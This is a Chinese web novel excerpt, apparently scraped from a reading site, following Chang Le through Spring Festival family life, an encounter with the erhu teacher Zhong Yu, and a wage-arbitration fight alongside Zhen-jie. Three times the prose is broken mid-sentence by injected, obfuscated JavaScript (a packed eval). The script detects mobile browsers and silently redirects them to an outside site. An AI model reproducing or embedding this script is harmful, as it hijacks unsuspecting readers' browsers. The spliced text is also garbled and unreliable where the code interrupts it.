大红枣继续说:“她又发了一张我们亲嘴的照片,底下评论是,你应该是有异食癖,什么东西都吃得下。” 台下又是一阵笑声。 常乐脸色稍稍好转。 还算他肯动脑子,懂得举一反三。 大红枣整场表现很不错,没有忘词卡壳,扔的包袱也都响了,下台时,他收获的掌声明显比前面几人要热烈。 散场时,大红枣特意下台来找常乐,跟她道谢。 “上次你举的例子特别好,我就照搬了。”他笑得红光满面,“你不会介意吧?” 常乐呵呵一笑:“没事,喜欢你就拿去用呗。” 大红枣掏出手机,“老同学,咱俩还没加微信吧?” 常乐刚掏出手机,又听见他说:“你再帮我想几个段子呗。以后有我的演出,你都可以免费看。” 常乐笑容一僵,又把手机塞了回去。 脸皮真够厚的。 她板起脸道:“段子也是知识产权,是要收费的。” 大红枣一愣,迅速堆起笑脸,说:“老同学,别那么市侩嘛。咱们可以互相帮助啊,你帮我想段子,我介绍你入行……你想讲脱口秀吗?” 常乐摇摇头,不想跟他过多纠缠,随便扯了个理由,就带着易诚逃离了酒吧。 步行街上,人头攒动,熙熙攘攘,商店的大喇叭放着吵闹的音乐,大街小巷都洋溢着过年的喜庆气氛。 周围过于喧闹,易诚不得不抬高音量,对常乐说:“他的提议,你可以考虑一下啊。” 常乐惊诧道:“要我给他做枪手?凭什么?” 易诚:“我的意思是,你也可以上台试试。你私下里不是很喜欢吐槽吗?而且你的段子,效果很不错啊。” “得了吧。”常乐摆摆手,“那个段子是网上的梗,不是我原创的。还有他讲的第二个段子,我也在网上看到过。这种网梗,在线下讲讲还行,真要上到更大的舞台,或者被人发到网上,肯定会被骂惨的。” 易诚若有所思地点点头。 -- 第二天,常建民又回了趟老家,天黑后才回来。他看上去心事重重的,眉头紧锁,说话时也心不在焉。 这天,吃过中饭,常乐正在收拾碗筷,常建民在旁边假意帮忙,几次偷瞄着她,欲言又止。 “爸,”常乐发现他不太对劲,主动询问,“有事吗?” “乐儿啊,问你一件事。”常建民偷瞥一眼门口,似乎担心林文娟突然出现。 他压低声音说:“你玩过无人机没有?” 常乐松了一口气。原来是要问这个。 不过,看他那作贼心虚的表情,遮遮掩掩的动作,他确定问的是无人机,不是老虎机? “没玩过,怎么了?” “我想买一台,不知道怎么选。你们年轻人比较懂这个,帮我挑挑呗。” 常乐颇感意外。 根据她对常建民的了解,他一不爱摄影,二不玩户外,更不可能去参加俄乌战争,怎么突然就对无人机感兴趣了? “为什么啊?” 常建民放下碗筷,悄声说:“我昨天不是回老家了嘛,碰巧看到方大爷的侄子在追马蜂,他身手特别厉害,刷刷几下就蹿到树上去了。” 常乐露出狐疑神色。 碰巧?你就是特地回老家观摩的吧? “然后呢?” “他追进山里了,但是他不让我跟,因为我没穿防护服嘛。我就在原地等着,没过多久,他就回来了,袋子里装了个这么大的——”常建民张开双臂,表情夸张,“马蜂窝,他还提着一壶白酒,里面密密麻麻的全是马蜂。” 常乐嫌弃地“噫”了一声,继续问:“然后呢?” 常建民略带羞涩地说:“我就问他,可不可以拜他为师,我也想学学怎么捉马蜂。” 常乐震惊地瞪大眼,急声道:“爸,你疯啦?这种事多危险啊!你这老胳膊老腿的,能爬得了树?你这六百度的近视眼,能捉得住马蜂?” 常建民悻悻道:“我就是感兴趣嘛……他一开始也不同意,我好说歹说,他终于松口,说要回去考虑一下。” 他停顿片刻,继续说:“昨天晚上,方煦给我发微信,说如果我能买一台无人机,他哥就同意收我为徒。” 常乐大为震撼。 她一边“啧啧”一边摇头。 第一次见面就开口要礼物,这不妥妥的捞男吗? “爸,你不会真要买吧?”常乐提醒他,“无人机很贵的,好一点的要上万。” 常建民咧嘴一笑:“没事儿,我有私房钱——” 话音随着林文娟的出现戛然而止。 “咳咳——”常建民话锋急转,假装训斥常乐,“就这么几个碗,收了半小时,磨磨蹭蹭的……” 常乐朝天翻了个白眼。 林文娟没有察觉到父女俩的异样。她一边整理丝巾,一边催促道:“乐宝,快点,电影要开始了。” 常建民问:“去哪儿看啊? “万达广场。”林文娟瞥他一眼,“之前问过你,你说不看动画片,我就没买你的票。” 常建民思忖片刻,主动请缨:“我送你们去吧。” “你也要看?”林文娟掏出手机,“要不我再买张票?” 常建民笑呵呵道:“没事儿,你们看你们的,我就随便逛逛。” 十五分钟后,一家三口到达万达广场。常乐挽着林文娟上了扶梯,一转头,就看见常建民溜达进了一楼的大疆体验店。 难怪他这么殷勤呢。 影院在五楼,等候区门庭若市,人头攒动,按摩椅全被占满了。 常乐好不容易取到票,一看时间,只剩下五分钟了。 检票口排起了长队。 排在常乐前面的是一对年轻男女,男人穿着驼色呢子外套配牛仔裤,脚下是一双棕色登山靴,显得肩宽腿长,比例优越。 女人一头栗色卷发,穿着浅色大衣,身上散发出淡淡的香水味。 林文娟的手越过常乐,戳了戳男人的肩。 男人回过头,先看见常乐,眼神略显困惑,随后又看到林文娟,这才舒展眉眼,弯唇浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629140|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “林医生,你也来看电影啊?” 林文娟笑着说:“对啊,钟大师,好巧啊。” 常乐恍然大悟。又是他。 之前两次见面都隔得老远,她并没有看清钟大师的长相,只觉得他温文尔雅,气质脱俗。 现在距离拉近,她才发现他的五官长得很周正,组合在一起格外和谐,笑起来更是让人如沐春风。 林文娟挽着常乐的胳膊,视线落在他的女伴身上。 她问:“这是你女朋友吧?” 钟大师淡淡一笑:“目前还不是,我还处于被考察阶段。” “哦……”林文娟秒懂,“是在相亲吗?” 钟大师面色微赧,点了点头。 “这位是?”他低头看向常乐,试图岔开话题。 “我姑娘,叫常乐,知足常乐那个常乐。”林文娟用肩膀搡了搡常乐,“她对二胡也很感兴趣,有机会你指导一下她。” 常乐斜乜着林文娟。 妈你在胡说八道什么? 我对二胡唯一的兴趣,就是想知道在庙门口拉一天能赚多少钱。 “哦,行啊。”钟大师微笑地注视着常乐,“你要是想学,我给你介绍个老师。” 常乐摆摆手,刚要拒绝,就听见检票口的小妹喊道:“麻烦出示一下票。” 常乐长舒了一口气。 她看见钟大师的肩膀塌了下来,仿佛跟她一样,如释重负。 之后便是找影厅、找座位、抓紧时间上厕所。 电影进行到下半场,常乐猫着腰钻了出去,匆匆忙忙地奔向厕所。 洗手间外有一排按摩椅,几个人正陷在里面玩手机。常乐从洗手间出来,正甩着手上的水,忽然注意到按摩椅下,有一双腿格外修长,脚上那双登山靴更是抢眼。 “钟大师?”常乐走近一看,发现居然真的是他。 钟大师也抬起眼,认出了她。 “哦,常乐啊。”他笑了笑,直起上半身,“别叫我钟大师了,听起来像个江湖骗子。我叫钟煜,南唐后主李煜的那个煜。” 常乐“哦”了一声,心想,文化人做自我介绍还挺讲究的,连南唐后主都搬出来了。 她好奇地问:“你怎么不看电影啊?网上说后面有个大反转,很精彩的。” 一张票六十多,要不是实在憋不住了,常乐才舍不得浪费时间上厕所呢。 钟煜脸上浮起一抹苦笑。 “说实话,这是我第四次看这部电影了。别说反转,台词我都会背了。” 常乐怔怔地说:“你还真是热爱电影啊……” 四张票,总共两百四十,进场了又不认真看,在这儿玩手机。他图什么呀? 钟煜叹了口气,愁眉苦脸道:“我从大年初二开始相亲,每天一场,今天已经是第四场了。流程都一样,吃饭、看电影、逛街。问题是,每个女孩都要看这部电影,我能有什么办法?总不能跟她们说,我跟前几个相亲对象都看过了吧?” 常乐实在没忍住,哈哈大笑起来。 原来不是四张票,是八张,总共四百八啊。 要饭这么赚吗? 不过,话又说回来,你脱单之前,是不是应该先脱贫啊? 看到钟煜一脸无奈,常乐努力憋住笑,一本正经道:“听说这部电影票房都快三十亿了,你做出了很大的贡献啊。你再多相几次亲,票房都能突破百亿大关了。” 钟煜揉了揉眉心,又躺进了按摩椅里。 他问:“你是第一次看吗?” 常乐:“对啊。” 钟煜冲她摆摆手,“那你快回去吧,陈塘关就要被屠城了,幕后黑手是那个无量仙翁,千万别冤枉了申公豹。” 常乐倏地瞪大眼。 我踏马…… 她深吸一口气,一个箭步冲进影厅,正好看到哪吒在陈塘关的废墟中发疯般地寻找父母。 林文娟在悄悄抹眼泪,见到常乐,赶紧收起纸巾,装作若无其事地问:“怎么去了这么久?” “我碰到你那个钟老师了。”常乐小声说,“你知道他为什么相亲那么多次都不成功吗?” 林文娟一脸疑惑地看着她。 “因为他真的——”常乐咬牙切齿道,“太、贱、了。” 25. 25 过年假期匆匆过去,初八这天,是社畜们的集体回栏日。 常家一家老小,退休的退休,失业的失业,坐月子的坐月子,都对收假这件小事不甚在意。 唯有常建民,从早上起床就愁眉苦脸,在车上双目无神地望着窗外,念经似地说了十几遍“我怎么还不退休啊”,然后又是一阵长吁短叹。 “爸,你的工作已经够轻松了。”常乐开着车,一脸无语,“朝八晚六,还有双休,有什么可抱怨的?” 常建民又是一阵叹气:“你不懂,我一毕业就进了这个单位,在同一个岗位干了三十年,期间也就换了几次办公室,来了几个新同事,其他的什么都没变。你懂这种三十年如一日的感觉吗?” 常乐无言以对。 就目前的形势来看,她是没机会吃这个苦,或者说,享这种福了。 下车时,常建民才想起最重要的事:“对了,今天我有个快递送上门,我留的是你的电话,你帮忙收一下。” 常乐觉得莫名其妙:“为啥让我收?我妈一直在家啊。” 常建民视线躲闪,“你反正在家……就帮我个小忙呗。” “哦。”常乐秒懂,“是不能让我妈知道的东西?那你直接寄到快递站,下班了再来取呗。” 常建民支支吾吾:“是那种……比较贵重的东西,我怕……放在快递站,你懂的……” 常乐狐疑地蹙起眉,思索几秒后—— “无人机?” 常建民脸上浮起一抹心虚的微笑。 常乐惊诧得声音都高了八度:“你还真买了?” 常建民解释道:“我是觉得,现在的科技日新月异,我应该紧跟时尚潮流,多尝试年轻人喜欢的东西,才能不被时代抛弃。” 什么叫欲盖弥彰。 常乐无语地翻白眼。 “有几个年轻人舍得花一万多买个大玩具?” “没那么贵。”常建民急忙解释,“在网上买要便宜点,不到一万。” 常建民下了车,又折返回来,趴在窗边交代道:“快递就放在你房间,等周末再给我。千万、别让、你妈看到!” 常乐“啧”了一声,不耐烦地摆摆手。 “我收了就是我的了,等我玩腻了再给你吧。” 送完常建民后,常乐回到家,打算先补个觉。 眼睛刚闭上,手机就响了。 拿起一看,是珍姐。 “喂。”常乐接通电话,心头浮起一丝疑惑,失业后,珍姐很少在白天联系她。 难道是前公司的事有进展了? 果然,珍姐第一句话就是:“常乐,仲裁的时间定下来了,这周五上午,你来吗?” 常乐腾地一下坐起来,“来啊!” “行,待会儿我把时间地点发你。” 电话挂断后,珍姐的信息随之而来,常乐的心也开始躁动起来。 假期结束,一切都步入正轨。有仇报仇,有冤报冤。该是她的,一分也不能少。 她正构思着复仇大业,电话又响了,是个陌生号码。 “喂,是常女士吗?您的包裹到了……” 常乐飞奔出去,在门口花坛边签收了快递。 快递盒上的地址只写到楼栋,没写门牌号,估计是常建民有意为之。 常乐嗤笑一声,心想,她的老父亲要是肯把这点心思花在工作上,也不至于临近退休还只是个副主任。 -- 去江城的前一晚,常乐在餐桌上宣布了这件事。 家人们都如临大敌。 林文娟紧张地问:“要不要我陪你去?” “别。”常乐摆摆手,“又不是小学生吵架,还要找家长,多丢人啊。” 林文娟还是不放心,警告道:“吵架可以,千万别动手!” 常乐被她逗笑了:“我是去合法讨薪,又不是帮派火拼。别想得那么可怕。” “对,现在是法治社会,别老喊打喊杀的。”常建民安慰完林文娟,又问常乐:“以你现在的开车水平,上高速还有点危险,要不我请假送你去?” 常乐一口回绝:“不用,我叫顺风车就行。” 姥爷沉吟片刻,给她出主意:“要不,我在抖音上帮你发条讨薪的视频?我好歹也算个本地小网红,多少还有点影响力。” 常乐笑得前合后仰:“姥爷,你粉丝都没过万,还是省着点用吧。好不容易起的号,可别作没了。” 姥爷立刻不说话了。 姥姥接话道:“要我说,你还是带我去。我都一把年纪了,什么都不怕,要是法官敢徇私枉法,我就往地上一躺,撒泼打滚,哭爹喊娘……” 常乐抚额苦笑。 “首先,那叫仲裁员,不叫法官。其次,”常乐拍拍她的肩,“姥姥,你这种大招,得留到最后使。万一仲裁输了,或者老板气焰嚣张,死活不认账,我再派你出马。” 姥姥郑重其事地点点头。 这个严肃的话题就此结束,进入第二议题——给常乐发工资。 满打满算,常乐成为全职女儿已经一个月了。 几位老板对她的表现还算满意,所以,在基本工资两千、绩效工资两千四的基础上,决定再给她追加一千元的红包。 “叮——” 五千四秒到账。 常乐看着银行卡余额,强压住上扬的嘴角,轻咳两声,故作姿态道:“照顾家人是我应尽的义务,谈钱就见外了。” “那我撤回了?”林文娟拿着手机试探道,“24小时内的转账都可以撤回。” “哎哎别呀——”常乐急忙制止她,赔着笑,“一家人,别那么见外嘛。” 大家笑作一团。 “对了,还有件事。”林文娟慢慢敛笑,一脸严肃道,“咱家虽然不是个正规公司,但还是应该给员工交医保社保。我打听过了,你这种情况,可以交灵活就业医保,跟职工医保是一样的。你以前是在江城交的吧?你是想直接续上,还是在咱们市重新交?” 常乐陷入了纠结。 现实的问题摆在她面前,选择在哪儿交,意味着以后她要在哪儿长期定居。 当然,如果她有了更好的工作机会,换一座城市也未尝不可,只是…… 人心就是这样,每一次选择,都是在天平上放一枚砝码。砝码越多,想要推翻重来就越难。 “还是……在家里交吧。” “行。”林文娟说,“医保社保加一起,是一千四。” “哎等等——”常乐急声道,“只交医保行吗?社保我觉得没什么必要。” 林文娟严肃道:“你得为以后考虑,等你老了怎么办?” “……我不想考虑那么远的事。”常乐停顿片刻,分析道,“现在退休年龄不断延后,我能不能活到领退休金的那天还是个未知数呢。” 姥姥一巴掌削在她的后脑勺,呵斥道:“怎么说话呢?年纪轻轻的,别老死啊活啊的,不吉利。” 常乐捂着后脑勺,转头看着姥姥,面目狰狞地嚎叫:“姥,你再这么削几次,我的寿命还得再短几年!” -- 第二天一早,常乐在小区门口搭上顺风车,两个小时后,江城熟悉的景色渐渐映入眼帘。 小车在劳动仲裁中心门口停下,一下车,常乐就看见了珍姐。她敞着羽绒服,里面是一身深色职业装,脚上一双黑色短靴,显得利落又干练。 见到常乐,珍姐咧嘴一笑,张开双臂抱了抱她。 “珍姐,好久不见。” “也就一个月没见。”珍姐认真打量着她,“感觉你变年轻了,像女大学生。” “真的?”常乐惊喜地摸摸自己的脸。 过个年还能颜值回春? 珍姐笑着说:“你之前给我的感觉就像一棵蔫巴巴的生菜,现在不一样了,好像重新泡在水里了,水灵灵的。” 常乐有些听不懂:“泡在水里?” 珍姐认真地说:“你知道生菜在冰箱里怎么保鲜吗?把根部泡在水里,就能保存很久。蔫了的生菜也可以用这个方法起死回生。” 常乐若有所思。 也是,这段时间,她在家里吃好喝好睡好玩好,没有工作压力、年龄焦虑、婚育烦恼,心情好了,自然就显得年轻有活力。 所以啊,家人就像水一样,让她又活过来了。 两人往大厅里走,常乐顺嘴问道:“珍姐,你工作找得怎么样了?” “唉,别提了。”珍姐愁眉苦脸,“你看了我发的那些视频了吧?一个比一个气人。” 珍姐自从开始做自媒体后,轮番尝试了育儿、美食、家长里短几个赛道,只有“大龄失业女性找工作”这个赛道稍有起色,让她收获了一波流量和粉丝。 常乐分析道:“我觉得你这个主题选得不错,能引起很多人的共鸣。你就一边找工作一边拍,能找到工作最好,找不到,起码也有了素材。” 珍姐大笑道:“我也是这么想的。” 说完,她掏出手机,“正好把今天的仲裁过程也拍下来。” 她退回到门口,招招手,唤常乐过来。 “帮我个忙。”她把手机递给常乐,示意道,“我往里面走,你在我侧面跟拍。” 常乐依言拍了一段视频。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仲裁的过程跟常乐在网上查到的差不多,先核对身份,然后申请人陈述请求、出示证据,仲裁员提问,对证据进行分析…… 轮到被申请人质证时,对面的女人开始表演了—— “真的跟我没关系!我跟老孙只是朋友,他让我当公司法人,我以为是帮他的忙,就同意了,谁知道他会害我啊……” 她用纸巾捂着脸,嘤嘤地哭了起来。 “我什么都不懂,连他的公司在哪里、是干什么的都不知道,你们要讨钱找他去啊,找我干嘛?我是农村的,家里条件差,根本拿不出这么多钱,呜呜呜……” 珍姐勃然大怒,猛拍桌子:“你没钱?你没钱还住这么贵的小区?你没钱还背这么贵的包?老孙让你当法定代表人,就一点好处没给你?装什么呢你?” “法庭上严禁大吵大闹!”仲裁员呵斥道。 常乐不得不拽住珍姐的胳膊,防止她情绪激动冲过去打人。 对面的女人还在抽抽搭搭,替自己辩解:“我拿什么好处了?我一分钱都没拿,纯粹是帮老孙一个忙!你们有本事去找他呀,找我干嘛?” 常乐旁边的同事怒不可遏,站起身指着女人,又是一顿激情对喷。 现场一片混乱,庭审不得不中止。 仲裁员询问双方是否愿意调解,珍姐破口大骂:“我调个屁!” 对面的女人战斗力丝毫不减:“你们几个臭要饭的别想讹我!反正我一分钱都不会出!” 最后,仲裁员板着脸宣布庭审结束,十五个工作日后会再次进行调解,调解不成再出具判决。 对于这个结果,双方都很恼火。 -- 散场时,为了保证双方的安全,仲裁员让对面的女人先行离开。 五分钟后,珍姐拉着常乐,风风火火地走出仲裁庭,大步冲下楼梯。 “快,你去四楼洗手间找,我去三楼。” 常乐懵了:“啊?” 珍姐语速飞快:“那女人妆都哭花了,肯定会找个地方补妆。五楼洗手间离得太近,她肯定不敢去那儿。咱们挨个找找。” 常乐恍然大悟,不得不佩服珍姐的智商。 两人分头行动。常乐冲进四楼女洗手间,里面空无一人,又径直奔向二楼。 她一眼就看到在镜子前补妆的女人。 “李玉婷!”常乐气喘吁吁地喊一声。 李玉婷吓得一哆嗦,慌忙拿起包挡住自己的脸,紧张得语无伦次:“你你你要干什么?我警告你啊,你要是敢动手,我马上报警……” “我没想干嘛。”常乐掏出手机,给珍姐拨了个电话,三言两语说明情况,然后抬眼直视着李玉婷。 “我就想问问,老鳖孙到底藏哪儿了?” 李玉婷哆哆嗦嗦地说:“我我我怎么知道?” 常乐双手掐腰,厉色道:“都这时候了,你还想袒护他?我们找不到他,那就只能找你要钱了。你自己想想吧。” 26. 26 听到这话,李玉婷冷哼一声,将小挎包从头上拿了下来。 “你问我?我还想找他呢。”她猩红的嘴唇一张一合,脏话喷薄而出,“我日***个老比登,把我***坑惨了,我真是瞎了狗眼,才会信了他这个****” 常乐抠抠耳朵,感觉耳膜要裂开了。 等李玉婷骂完,她才不紧不慢地说:“你跟他关系应该不错吧?不然怎么会答应做法定代表人。你会不知道他家在哪儿?” 李玉婷没好气道:“他家我去过,没人,门上贴了封条,估计是被查封了。” 话刚落音,门口突然冲进来一个人影,直奔李玉婷,摁着她的脑袋,抡起胳膊就打。 “珍姐,冷静冷静!”常乐急忙从背后抱住珍姐,“她就是个替死鬼,打她也没用!只有找到老鳖孙才能解决问题。” 珍姐打了几下仍不解气,一只手还揪着李玉婷的头发,怒气冲冲道:“刚才不是很嚣张吗?还骂我们是臭要饭的,我看你才是个***,我草***” 骂得一句比一句脏,常乐感觉耳膜要流血了。 她好声劝道:“珍姐,别冲动,说正事。” 珍姐这才松开手,整了整自己的衣服,对李玉婷说:“你不还钱,就把包抵给我们。公司总共欠我们俩三万,你一个包就不止这个数了。” 李玉婷刚补好的妆又花了,头发也乱七八糟的。 她直起上身,把包往珍姐怀里一甩,气哼哼道:“拿去吧!反正是个假货,老孙送的。他给老婆买了个真包,又买了个同款高仿送给我,还给我看购买记录。我拿去专柜验货,还被柜姐笑话。这种破烂货,你要就拿去吧!” 常乐目瞪口呆。 这老鳖孙,爱妻人设倒是立住了。 李玉婷对着镜子捋了捋头发,继续说:“还有,你说我住那么贵的房子,也是租的,老孙这个狗东西,骗我说房子是他跟他老婆的共同财产,等他离婚,就把房子送给我。结果呢,房东都找上门来了,说再不交房租就让我滚蛋!” 常乐跟珍姐面面相觑。 李玉婷说着说着,声音就哽咽了:“我跟了他一年多,一直没上班,家里人着急,他就说把公司送给我,让我当老板,说出去也好听……我就信了,还屁颠屁颠地发朋友圈秀恩爱,谁知道会这样啊……” 常乐喃喃道:“你还真好骗啊……” 珍姐不耐烦道:“现在说这些有什么用?要么你出钱,要么你把老鳖孙找到。” 李玉婷红着眼眶,委屈巴巴地说:“我上哪儿找啊?我都说了,他家都被查封了。” “狡兔三窟,他就一个窝?我不信。” “其他的……”李玉婷回忆片刻,从包里掏出手机,镶着水钻的指甲在屏幕上敲敲打打。 不一会儿,她将手机递给珍姐,给她看地图上的一个标记。 “这是他老丈人家,在一个别墅区,我进不去。你们找不到他,能找到他老婆也行。反正这两口子是一伙的。” 常乐挠了挠头,“曲线救国?这一招好使吗?” 珍姐掏出手机,对着地图拍了照。 “管他有没有用,先去看看再说。跑得了和尚跑不了庙,我就不信他老婆一辈子不回娘家。” 两人又风风火火地冲出洗手间。 楼梯下到一半,珍姐猛地刹住,用力拍了下脑门,懊恼地说:“忘记拍视频了!” 常乐:“……” 珍姐转头问她:“你刚刚没有把我的英勇身姿拍下来?” 常乐:“???拍下来不就成了你的罪证了吗?” 珍姐摆摆手,不以为意:“我就打了她两下,应该够不上犯罪吧?唉,早知道一进门就该举起手机拍,网友就喜欢看这个。” 她抬眼望向楼梯上方,李玉婷还没从洗手间里出来。 她犹豫着,问常乐:“你说,我现在回去补拍几条,她会配合吗?” 常乐:“……我觉得你有点走火入魔了。” 正说着,一个短发女人从楼梯拐角处上来,与她们擦肩而过。 常乐:?今天是什么好日子?新仇旧恨凑一块儿了。 她喊住短发女人:“小杨!” 小杨回过头,见到是她,愣怔了片刻,眼里露出一丝狐疑。 “你怎么在这儿?”她脸色苍白,冷着脸,语气不善。 “来仲裁中心还能干嘛?讨工资呗。”常乐大大咧咧地说。 她倒不担心被小杨冷嘲热讽,毕竟大家都曾是苦命打工人,谁也没比谁高贵到哪儿去。 对于她的坦诚,小杨有些意外。她眸色微动,转过头,低声说:“我也是。公司跑路了,欠了我两万多的工资没发。我今天是来申请仲裁的。” “来这儿吗?”这也太巧了吧。 “公司总部就在这个区。” “哦。”常乐懂了,“那祝你成功。” 小杨垂下眼帘,盯着自己的脚尖,淡淡地说了句“谢谢”。 常乐挽着珍姐正要下楼,忽然想到什么,回头喊住小杨。 “哎,还有个事想问你。” 小杨已经走到了二楼,闻言停住脚步,垂眸俯视着她。 常乐问:“你放在我家的那台电疗仪还要不要了?” 小杨牵起唇角,笑容有些苦涩。 “那些都是残次品,能用,但是质量不好,公司让我们送给客户体验,等到时间了上门回收,再以产品有问题为由拒收,这样就能……” 常乐接话:“强迫我们买下来?” 小杨点点头,随后叹了口气。 “我也没办法,好不容易找到这份工作,进来才知道是专门骗老人钱的。我良心上过意不去,但是公司给的提成高,我就想着先赚一笔,再找份正经工作……”她自嘲地笑了,“现在钱也没有,工作也丢了,真是报应。” 常乐看着她,欲言又止。 她很想提醒她,你更应该担心的是,万一受害者报警,你作为公司员工,也是要负法律责任的。 可是转念一想,事已至此,提醒也没用了。该来的迟早会来的。 小杨继续说:“公司高层都跑了,没人会找你们麻烦的。那台电疗仪你就继续用吧,没什么坏处,但也别指望有多大好处。” “行,谢谢了。”常乐冲她扬起手,“祝你好运。” 小杨淡淡一笑,冲她挥了挥手。 -- 常乐和珍姐打了辆车,直奔李玉婷给的地址。 两人在别墅区大门口下了车,望着门口俩虎视眈眈的门卫,一时不敢上前。 对面是一片洋房小区,外面有一圈底商。两人找了个便利店,买了两瓶水,坐在窗边观察着对面。 别墅区大多是车进车出,大门两侧装了人脸识别的闸机,不是业主很难混进去。 珍姐琢磨道:“要不咱们在门口拦一辆车,坐车里进去?” 常乐立刻否决:“就算门卫是瞎子,那业主也不是傻子啊,凭啥让我们上车?” “跟他们解释一下嘛,就说我们老板住里面,我们来讨薪。” “相信我,一般人不会搀和这种事的,都怕给自己惹麻烦。” “那你说怎么办?翻墙还是钻狗洞?” 常乐啧了一声。 咱们一不偷鸡二不摸狗,干嘛要在违法的边缘试探? “别急,我有办法。” 常乐打开手机里的贝壳app,搜索这个小区,在在售房源里找了套最便宜的。 底下有几个中介的名片。她找了一个笑容最亲切的女中介,拨打电话。 “喂——你好,我在贝壳上看到星海湾有套别墅在卖,售价480万那套,房源还在吗?哎哎——我就在小区门口,你什么时候能到?哎哎——” 电话挂断,常乐冲珍姐比了个OK的手势。 珍姐笑着夸她:“聪明啊。” 等了几分钟,一个穿黑色套装、脖子上挂着工牌的女中介急匆匆地赶来。常乐认出她的脸,冲她招了招手。 “您好,久等了,我姓叶,您叫我小叶就好。” 常乐矜持地笑了下。 小叶的视线在她和珍姐之间转了一圈,问:“请问是哪位想买房子呢?” 常乐转头看向珍姐,珍姐立刻会意,接话:“是我。” “请问您的预算是多少呢?” 珍姐装模作样道:“毛坯450左右,精装550吧,当然,如果能多砍点价就更好了。” 小叶急忙说:“咱们小区毛坯和精装都有,您要是看中了,价格还可以商量。” 珍姐点点头,“带我去看看吧。” 小叶站着没动,笑盈盈道:“是这样的,我们公司有规定,带看别墅之前需要验资。哦,也不多,两百万就行。” 常乐:“……” 珍姐:“……看二手房还要验资?” 小叶解释道:“这也是为了节省我们双方的时间嘛。” 珍姐思索片刻,说:“可是我的钱都在证券账户里,流动资金不多。” 小叶笑容依旧:“给我看一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662338|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下证券账户的余额也是可以的。” 珍姐沉默了,斜眼瞥向常乐。 常乐回她一个无奈的眼神。 你看我像是有两百万的人吗? 半天没人吭声,小叶看看珍姐,又看看常乐。 气氛有些尴尬。 “是这样的——”常乐咽了咽唾沫,心虚地笑着,“我跟我姐是来抓奸的。我姐夫找了个小三,就住在这个小区。我们已经跟踪他几天了,可惜进不去,所以才想到这个法子。” 小叶的眼睛越瞪越大。 常乐捕捉到,她的眼里,除了惊讶,还有一丝兴奋。 常乐:Yes!这把稳了。 她从包里掏出一百块钱,递给小叶,语气诚恳:“我知道,我浪费了你的时间,所以想给你一点补偿。” 小叶愣了好久,才小心地接过钱。 “其实,也不算浪费时间啦。”她笑了笑,把钱塞进口袋,“我们平时带客户看房,百分之九十都没有结果……行,你们跟我来吧。” 珍姐强忍住兴奋,斜眼看向常乐,偷偷给她竖了个大拇指。 三人走到小区门口,小叶向门卫出示了工牌,门卫点点头,回到值班岗亭,打开了闸机。 常乐跟在小叶后面,奉承道:“你们中介还挺有路子的,什么地方都进得去。” 小叶边走边解释:“也是要提前打好关系的。有的小区可以随便进,但这种别墅区就不行。我们店每个月都得给小区物业付几百块的带看费。” 常乐“哦”了一声,在心里感慨,刚刚那一百块花得挺值。 小叶停在一处树荫下,问她们:“你们知道小三住哪一栋吗?” 珍姐急忙掏出手机,将刚刚拍下的照片给她看。 “东4区12栋……”小叶思索片刻,转头走向一条小路,“跟我来。” 这片小区以联排和双拼为主,家家户户都住得挺紧凑。没走多久,常乐就看到了12栋的门牌,是一套联排的边户。 这套别墅前后都有院子,植物长得还不错,一看就是精心打理过的。前后大门紧闭,窗户也都关得紧紧的,里头没开灯,也听不到人声。 “没人吗?” 珍姐走到院子的铁栅栏外,正要爬上去,被小叶一把拽了下来。 她指了指屋檐,提醒道:“有监控,别离得太近。” 珍姐和常乐赶紧往后退了两步。 她们绕着别墅来回转了几圈,依旧没发现有人在家的迹象。 常乐对于麻烦小叶有些过意不去,便让她先行离开了,并信誓旦旦地保证,不会在这里闹事,被保安抓住了也不会把她供出来。 小叶临走时,表情还挺失落,似乎对于没有一线吃到瓜深感遗憾。 别墅区的空置率很高,常乐很快就在斜对面找到一处毛坯房。两人坐在门口的台阶上,双手托腮,呆呆地盯着对面。 “可能是趁着过年出去旅游了。”常乐分析道,“你看,院子打理得这么好,说明平时有人住。没准儿过几天就回来了。” 珍姐感叹道:“你说老鳖孙的老婆家这么有钱,为什么还要拖欠我们工资呢?” 常乐摇摇头,“搞不懂。” 人心太复杂,她也看不透。 又等了半天,还是没看到有人进出。 早已过了午饭时间,两人的肚子都饿得直叫唤。 珍姐站起身,拍了拍羽绒服上的灰,“要不先出去吧?我请你吃饭。” 出去容易进来难,常乐真心舍不得那一百块钱,可是也想不出更好的办法,只好起身。 两人恋恋不舍地走出小区,在对面的便利店买了两份盒饭,微波炉热好后,端到窗前的桌板上。 常乐三两口吃完,给自己灌了半瓶水,问珍姐:“下午还蹲吗?” 珍姐苦笑:“再花一百块?这讨薪的成本是不是有点太高了?” 常乐叹了口气。 珍姐盖上盒饭的盖子,慢悠悠地说:“我觉得,咱们可能要打持久战。我有个办法,有点麻烦,但是省钱。” 常乐眼睛一亮:“什么?” 珍姐伸出手,“借你手机一用。” 常乐将手机解锁,递给她。 珍姐打开她的最近通话,拨通最上面的号码。 几秒钟后,电话接通,珍姐语调上扬:“哎,小叶啊,是我,上午找你带看过。” 